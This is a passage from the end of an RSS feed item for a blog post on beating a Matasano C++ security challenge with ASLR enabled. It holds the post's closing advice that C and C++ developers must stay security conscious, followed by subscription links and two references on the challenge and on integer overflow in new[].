<li>Like it or not developers need to be security conscious when writing code in C and C++.</li>
<li>As C and C++ change, developers need to carefully consider security implications of new features.</li>
</ol>
<p>
Thanks for reading and don&#8217;t forget to <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_1152" class="footnote"><a href="http://chargen.matasano.com/chargen/2009/10/9/a-c-challenge.html">Matasano Security LLC &#8211; Chargen &#8211; A C++ Challenge</a></li><li id="footnote_1_1152" class="footnote"><a href="http://blogs.msdn.com/oldnewthing/archive/2004/01/29/64389.aspx">Integer overflow in the new[] operator</a></li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/defeating-the-matasano-c-challenge-with-aslr-enabled/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>

